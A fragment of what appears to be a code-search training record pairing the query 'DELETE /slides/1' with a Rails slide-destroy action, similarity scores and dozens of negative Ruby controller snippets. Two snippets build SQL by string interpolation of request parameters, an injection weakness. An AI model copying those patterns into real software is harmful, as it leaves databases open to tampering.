"def put!\n request! :put\n end",
"def update\n slideshow_params.delete(:slides_to_add)\n slides_to_add_ids = params[:slideshow][:slides_to_add]\n slides_to_remove_ids = params[:slideshow][:slides_to_remove]\n\n if slides_to_remove_ids.present?\n slides_to_remove = Slide.find(slides_to_remove_ids.values)\n slides_to_remove.each do |slide|\n @slideshow.slide_entries.select { |e| e.slide_id == slide.id }.each do |se|\n se.delete\n end\n end\n end\n\n\n if slides_to_add_ids.present?\n slides_to_add = Slide.find(slides_to_add_ids.values)\n slides_to_add.each do |slide|\n se = SlideEntry.new(:slide_id => slide.id, :slideshow_id => @slideshow.id)\n se.save!\n end\n end\n\n if @slideshow.update(slideshow_params)\n render :partial => 'slideshow_list_sect', :locals => { :slideshows => current_user.slideshows.paginate(:page => params[:page]), :context_page => 'account', :pag_url => '/slideshows/reload_pag_user' }\n else\n render :partial => 'slideshow_list_sect', :locals => { :slideshows => current_user.slideshows.paginate(:page => params[:page]), :context_page => 'account', :pag_url => '/slideshows/reload_pag_user' }\n flash[:error] = \"Error Updating: #{@slideshow.errors.full_messages}\"\n end\n end",
"def update\n respond_to do |format|\n if @lecture.update(lecture_params)\n format.html { redirect_to @lecture, notice: 'Lecture was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lecture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @respuesta = Respuesta.find(params[:id])\n\n if @respuesta.update(params[:respuesta])\n head :no_content\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def update\n params[:step] ||= \"1\"\n respond_to do |format|\n if @pil.update(pil_params)\n format.html {\n # redirect_to @pil, notice: 'Pil was successfully updated.'\n if params[:step] == \"1\"\n redirect_to edit_pil_path(@pil,:step => \"2\")\n elsif params[:step] == \"2\"\n redirect_to edit_pil_path(@pil,:step => \"3\")\n else\n redirect_to @pil, notice: 'Заявка успешно заполнена'\n end\n }\n # format.json {render :show, status: :ok, location: @pil}\n else\n format.html {render :edit}\n format.json {render json: @pil.errors, status: :unprocessable_entity}\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @container = Container.find(params[:id])\n\n respond_to do |format|\n if @container.update_attributes(params[:container])\n format.html { redirect_to @container, notice: 'Container was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @container.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n if @livro.update_attributes(params[:livro])\n format.html { redirect_to @livro, :notice => 'Livro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @livro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @spice.update(spice_params)\n head :no_content\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end",
"def update\n @interview = Interview.find_by_slug(params[:id])\n\n respond_to do |format|\n if @interview.update_attributes(params[:interview])\n format.html { redirect_to admin_interviews_path, notice: 'Interview was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interview.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def show\n @page_slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page_slide }\n end\n end"
] |
[
"0.72096574",
"0.7039427",
"0.7024086",
"0.6905243",
"0.68861073",
"0.6799836",
"0.6768131",
"0.6764181",
"0.67379004",
"0.6720214",
"0.6546411",
"0.65259737",
"0.64723593",
"0.64494276",
"0.6422007",
"0.6422007",
"0.6268464",
"0.6268464",
"0.6262271",
"0.612747",
"0.60912627",
"0.60819954",
"0.60803413",
"0.60526025",
"0.60511357",
"0.60462373",
"0.6012729",
"0.60082597",
"0.6002661",
"0.5969516",
"0.59664375",
"0.5957274",
"0.5956259",
"0.59446055",
"0.59436655",
"0.59250546",
"0.58843005",
"0.5873056",
"0.5868583",
"0.5866924",
"0.5858195",
"0.5846148",
"0.58041906",
"0.579625",
"0.577802",
"0.57645035",
"0.57568514",
"0.57568514",
"0.57568514",
"0.57378536",
"0.5709057",
"0.56972367",
"0.56877023",
"0.56877023",
"0.5685411",
"0.5683393",
"0.56700796",
"0.5656469",
"0.5649865",
"0.5641407",
"0.5629738",
"0.5622583",
"0.56087196",
"0.56087196",
"0.56087196",
"0.56087196",
"0.56087196",
"0.55966264",
"0.5588716",
"0.55839163",
"0.5580175",
"0.5579707",
"0.5577261",
"0.5558511",
"0.5558471",
"0.5551678",
"0.5551678",
"0.5547054",
"0.5542904",
"0.5542099",
"0.5542099",
"0.5542099",
"0.55419225",
"0.5541039",
"0.55355877",
"0.55337095",
"0.5527782",
"0.5522882",
"0.5522183",
"0.55220824",
"0.55105704",
"0.55094856",
"0.55069965",
"0.55063665",
"0.55019593",
"0.5496384",
"0.54936856",
"0.5491553",
"0.5486144",
"0.54856724"
] |
0.66743237
|
10
|
DELETE /slides/1 or /slides/1.json
|
def destroy
@slide.destroy
respond_to do |format|
format.html { redirect_to slides_url, notice: "Slide was successfully destroyed." }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @slide = Slide.find(params[:id])\n @slide.destroy\n\n respond_to do |format|\n format.html { redirect_to slides_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide = Slide.find(params[:id])\n @slide.destroy\n\n respond_to do |format|\n format.html { redirect_to slides_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide = Slide.find(params[:id])\n @slide.destroy\n\n respond_to do |format|\n format.html { redirect_to slides_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide.destroy\n respond_to do |format|\n format.html { redirect_to slides_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page_slide = Slide.find(params[:id])\n @page_slide.destroy\n\n respond_to do |format|\n format.html { redirect_to page_slides_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n id = @slideshow.id\n @slideshow.delete\n render :json => {:id => id}\n end",
"def destroy\n @slide = @lesson.slides.find(params[:id])\n @slide.destroy\n\n respond_to do |format|\n format.html { redirect_to(lesson_slides_url(@lesson)) }\n format.json { head :ok }\n end\n end",
"def destroy\n @slideshow = Slideshow.find(params[:id])\n @slideshow.destroy\n\n respond_to do |format|\n format.html { redirect_to slideshows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slideshow = Slideshow.find(params[:id])\n @slideshow.destroy\n\n respond_to do |format|\n format.html { redirect_to slideshows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide.destroy\n respond_to do |format|\n format.html { redirect_to admin_slides_url, notice: 'Slide was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pslide = Pslide.find(params[:id])\n @pslide.destroy\n\n respond_to do |format|\n format.html { redirect_to homepage_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide_image = SlideImage.find(params[:id])\n @slide_image.destroy\n\n respond_to do |format|\n format.html { redirect_to slide_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@slideshow = @user.slideshows.find(params[:id])\n @slideshow = Slideshow.find(params[:id])\n @slideshow.destroy\n\n respond_to do |format|\n format.html { redirect_to slideshows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @promo_slide.destroy\n\n respond_to do |format|\n format.html { redirect_to promo_slides_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slideshow_item = SlideshowItem.find(params[:id])\n @slideshow_item.destroy\n\n respond_to do |format|\n format.html { redirect_to slideshow_items_url }\n format.json { head :ok }\n end\n end",
"def delete\n DATABASE.execute(\"DELETE from slides WHERE id = #{id}\")\n end",
"def destroy\n @slideshow.destroy\n respond_to do |format|\n format.html { redirect_to slideshows_url, notice: 'Slideshow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slideshow.destroy\n respond_to do |format|\n format.html { redirect_to slideshows_url, notice: 'Slideshow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slideshow = Slideshow.find(params[:id])\n @slideshow.destroy\n\n respond_to do |format|\n format.html { redirect_to(slideshows_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @slideshow = Slideshow.find(params[:id])\n @slideshow.destroy\n\n respond_to do |format|\n format.html { redirect_to(slideshows_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n return false if !userCan :slide\n @slide = Slide.find(params[:id])\n @slide.destroy\n Message.Send(\"slide-#{params[:id]}\",{ :type => \"data\", :id => \"slide-#{params[:id]}\", :data => \"<h1 class='middel'>Slide has been removed!</h1>\"})\n\n respond_to do |format|\n format.html { redirect_to slides_url }\n format.json { head :no_content }\n end\n end",
"def delete_slideshow username, password, slideshow_id\n do_request 'delete_slideshow', username: username, password: password, slideshow_id: slideshow_id\n end",
"def destroy\n @web_slide = WebSlide.find(params[:id])\n @web_slide.destroy\n\n respond_to do |format|\n format.html { redirect_to(web_slides_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to presentation_slide_contents_url(@presentation, @slide) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide = Slide.find(params[:id])\n @presentation = @slide.presentation\n @slide.destroy\n\n respond_to do |format|\n format.html { redirect_to(@presentation, :notice => 'Presentation was successfully created.') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @slider.destroy\n respond_to do |format|\n format.html { redirect_to sliders_url, notice: 'Удалено.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide.destroy\n render :nothing => true\n end",
"def destroy\n @food_slider = FoodSlider.find(params[:id])\n @food_slider.destroy\n\n respond_to do |format|\n format.html { redirect_to food_sliders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # authorize\n authorize! :delete, @slideshow\n @slideshow.destroy\n \n render nothing:true\n flash[:notice] = 'Xóa trình chiếu thành công.'\n end",
"def destroy\n @slide.create_activity(:destroy, owner: current_user, parameters: { name: @slide.menu_name })\n @slide.destroy\n respond_to do |format|\n format.html { redirect_to slides_url, notice: 'Slide was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slider_image = SliderImage.find(params[:id])\n @slider_image.destroy\n\n respond_to do |format|\n format.html { redirect_to slider_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slider_image = SliderImage.find(params[:id])\n @slider_image.destroy\n\n respond_to do |format|\n format.html { redirect_to slider_images_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @tbl_slide.destroy\n\n if session[:fromeditpage] == 1\n qu='DELETE FROM tbl_slide_layers WHERE \"SlideID\"='+\"#{params[:id]}\"+';'\n ActiveRecord::Base.connection.execute(qu);\n end\n respond_to do |format|\n format.html { redirect_to tbl_slides_url, notice: 'Tbl slide was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lecture.destroy\n respond_to do |format|\n format.html { redirect_to lectures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @illustration = Illustration.find(params[:id])\n @illustration.destroy\n\n respond_to do |format|\n format.html { redirect_to illustrations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pic = Pic.find(params[:id])\n @pic.destroy\n\n respond_to do |format|\n format.html { redirect_to pics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image_slider.destroy\n respond_to do |format|\n format.html { redirect_to image_sliders_url, notice: 'Image slider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @illustration = Illustration.find(params[:id])\n @illustration.destroy\n\n respond_to do |format|\n format.html { redirect_to illustrations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @slider_depo.destroy\n respond_to do |format|\n format.html { redirect_to slider_depos_url, notice: 'Slider depo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @pic.destroy\n respond_to do |format|\n format.html { redirect_to pics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide_type = SlideType.find(params[:id])\n @slide_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(slide_types_path, :notice => 'Slide type was successfully destroyed.') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @imagedemo.destroy\n respond_to do |format|\n format.html { redirect_to imagedemos_url }\n format.json { head :no_content }\n end\n end",
"def delete_all_slides storage_type='Aspose', folder_name='',storage_name=''\n \n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n \n str_uri = $product_uri + '/slides/' + @filename + '/slides'\n if !folder_name.empty?\n str_uri += '?folder=' + folder_name\n end\n if !storage_name.empty?\n str_uri += '&storage=' + storage_name\n end\n \n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri) \n response_stream = RestClient.delete(str_signed_uri, {:accept=>'application/json'})\n \n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n \n if valid_output == ''\n folder = Aspose::Cloud::AsposeStorage::Folder.new\n output_stream = folder.get_file(@filename)\n output_path = $out_put_location + @filename ;\n Aspose::Cloud::Common::Utils.save_file(output_stream,output_path)\n return ''\n else\n return valid_output\n end \n \n rescue Exception=>e\n print e\n end\n \n end",
"def destroy\n @photo1 = Photo1.find(params[:id])\n @photo1.destroy\n\n respond_to do |format|\n format.html { redirect_to photo1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pro_wmall_slide_picture = Wmall::SlidePicture.find(params[:id])\n @pro_wmall_slide_picture.destroy\n\n respond_to do |format|\n format.html { redirect_to pro_wmall_slide_pictures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n head :no_content\n end",
"def destroy\n @api_v1_exercise.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gallery.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @presentation.destroy\n respond_to do |format|\n format.html { redirect_to presentations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @presentation.destroy\n respond_to do |format|\n format.html { redirect_to presentations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image_section = ImageSection.find(params[:id])\n @image_section.destroy\n\n respond_to do |format|\n format.html { redirect_to image_sections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slider_image.destroy\n respond_to do |format|\n format.html { redirect_to admin_slider_images_url, success: 'Slider image successfully deleted' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @photo = Photo.find(params[:id])\n gallery = @photo.gallery\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to gallery_path(gallery) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @addimition = Addimition.find(params[:id])\n @addimition.destroy\n\n respond_to do |format|\n format.html { redirect_to addimitions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n ImagesIndex.delete params[:id]\n respond_to do |format|\n format.html { redirect_to(\"/images_indices\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @do_exercise = DoExercise.find(params[:id])\n @do_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to do_exercises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post_pic.destroy\n respond_to do |format|\n format.html { redirect_to post_pics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pre = Pre.find(params[:id])\n @pre.destroy\n\n respond_to do |format|\n format.html { redirect_to pres_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @main_slider.destroy\n respond_to do |format|\n format.html { redirect_to main_sliders_url, notice: 'Main slider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slidedeck.destroy\n respond_to do |format|\n format.html { redirect_to slidedecks_url, notice: 'Slidedeck was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\tCloudinary::Api.delete_resources([@foto.public_id])\n @foto.destroy\n respond_to do |format|\n format.html { redirect_to @proyecto, notice: 'Foto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(slide)\n # ./_rels/presentation.xml.rels\n # Update Relationship ids\n # Insert a new one slideRef\n @doc.edit_xml @doc.presentation.rels.path do |xml|\n # Calucate the next id\n # next_id = xml.xpath('//xmlns:Relationship[@Id]').map{ |n| n['Id'] }.sort.last.succ\n # TODO - Figure out how to make this more MS idiomatic up 9->10 instead of incrementing\n # the character....\n # Insert that into the slide and crakc open the presentation.xml file\n\n target = slide.path.relative_path_from(@doc.presentation.path.dirname)\n relationship = xml.at_xpath(\"/xmlns:Relationships/xmlns:Relationship[@Type='#{Slide::REL_TYPE}' and @Target='#{target}']\")\n # ./presentation.xml\n # Update attr\n # p:notesMasterId\n # Insert attr\n # p:sldId, increment, etc.\n @doc.edit_xml '/ppt/presentation.xml' do |xml|\n xml.at_xpath(\"/p:presentation/p:sldIdLst/p:sldId[@r:id='#{relationship['Id']}']\").remove\n end\n relationship.remove\n end\n\n # Delete slide link and slideNotes link from ./[Content-Types].xml \n @doc.edit_xml @doc.content_types.path do |xml|\n xml.at_xpath(\"/xmlns:Types/xmlns:Override[@ContentType='#{Slide::CONTENT_TYPE}' and @PartName='#{slide.path}']\").remove\n xml.at_xpath(\"/xmlns:Types/xmlns:Override[@ContentType='#{Notes::CONTENT_TYPE}' and @PartName='#{slide.notes.path}']\").remove\n end\n\n # Update ./ppt\n # !!! DESTROY !!!\n # ./slides\n # Delete files\n # ./_rels/notesSlide(\\d+).xml.rels\n @doc.delete slide.notes.rels.path\n # ./notesSlide(\\d+).xml file\n @doc.delete slide.notes.path\n # ./_rels/slide(\\d+).xml.rels\n @doc.delete slide.rels.path\n # ./slide(\\d+).xml file\n @doc.delete slide.path\n # ./notesSlides\n # Delete files\n\n # Hooray! We're done! Ummm, what should we return though? can't be the slide since\n # its destroyed and there's no practical way to keep it around in memory.\n end",
"def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n head :no_content\n end",
"def destroy\n @intro.destroy\n respond_to do |format|\n format.html { redirect_to intros_url, notice: 'Intro was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide_deck.destroy\n respond_to do |format|\n format.html { redirect_to slide_decks_url, notice: 'Slide deck was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_documento = TipoDocumento.find(params[:id])\n @tipo_documento.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_documentos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gallery.pics.each do |pic|\n Cloudinary::Uploader.destroy(pic.public_id.split(\"/\").last.split(\".\")[0] ,@auth) if pic.public_id.present?\n pic.delete\n end\n @gallery.delete\n respond_to do |format|\n format.html { redirect_to galleries_url, notice: 'Gallery was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @documento = Documento.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to documentos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @draft_pic.destroy\n respond_to do |format|\n format.html { redirect_to draft_pics_url, notice: 'Draft pic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slider_serv.destroy\n respond_to do |format|\n format.html { redirect_to slider_servs_url, notice: 'Slider serv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @study = Study.find(params[:id])\n @study.destroy\n\n respond_to do |format|\n format.html { redirect_to studies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lecture_note = LectureNote.find(params[:id])\n @lecture_note.destroy\n\n respond_to do |format|\n format.html { redirect_to lecture_notes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @patient_exercise = PatientExercise.find(params[:id])\n @patient_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to patient_exercises_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to @photo.item }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repuestum = Repuestum.find(params[:id])\n @repuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to repuesta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @story.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @repa = Repa.find(params[:id])\n @repa.destroy\n\n respond_to do |format|\n format.html { redirect_to repas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repa = Repa.find(params[:id])\n @repa.destroy\n\n respond_to do |format|\n format.html { redirect_to repas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo3.destroy\n respond_to do |format|\n format.html { redirect_to todo3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rss_slide = RssSlide.find(params[:id])\n @rss_slide.destroy\n\n respond_to do |format|\n format.html { redirect_to(rss_slides_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @image_gallery = ImageGallery.find(params[:id])\n @image_gallery.destroy\n\n respond_to do |format|\n format.html { redirect_to image_galleries_url }\n format.json { head :ok }\n end\n end",
"def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end",
"def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7645482",
"0.7645482",
"0.7645482",
"0.7566208",
"0.7522184",
"0.7442856",
"0.742268",
"0.7393703",
"0.7393703",
"0.73229843",
"0.7292946",
"0.7218294",
"0.7183352",
"0.71731156",
"0.7103596",
"0.70957434",
"0.706696",
"0.706696",
"0.70560044",
"0.70560044",
"0.700467",
"0.6926243",
"0.6887822",
"0.6845805",
"0.6785365",
"0.6777319",
"0.6772983",
"0.66968346",
"0.6684941",
"0.66756886",
"0.6665966",
"0.66139615",
"0.6605708",
"0.659691",
"0.659691",
"0.659691",
"0.659691",
"0.6596462",
"0.657223",
"0.6540232",
"0.6537343",
"0.65317",
"0.65082794",
"0.6501312",
"0.6497863",
"0.64960194",
"0.64960194",
"0.6493151",
"0.64900976",
"0.648496",
"0.646637",
"0.6461763",
"0.64545923",
"0.64407307",
"0.64365554",
"0.6429222",
"0.6424945",
"0.6424282",
"0.6420904",
"0.64198923",
"0.641819",
"0.641819",
"0.641787",
"0.64121777",
"0.6409011",
"0.6408184",
"0.64077485",
"0.64039767",
"0.64012074",
"0.63871044",
"0.6382977",
"0.6377931",
"0.63755035",
"0.6374647",
"0.6369086",
"0.6368754",
"0.6355313",
"0.6353396",
"0.6351342",
"0.6347143",
"0.6347101",
"0.63426447",
"0.63409555",
"0.6336793",
"0.6336357",
"0.63356715",
"0.6334443",
"0.6332703",
"0.6329531",
"0.632667",
"0.6323581",
"0.6321286",
"0.63186574",
"0.6313623",
"0.6313623",
"0.63099754",
"0.63084894",
"0.6308028",
"0.6307893",
"0.6301148"
] |
0.7232589
|
11
|
Use callbacks to share common setup or constraints between actions.
|
def set_slide
@slide = Slide.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
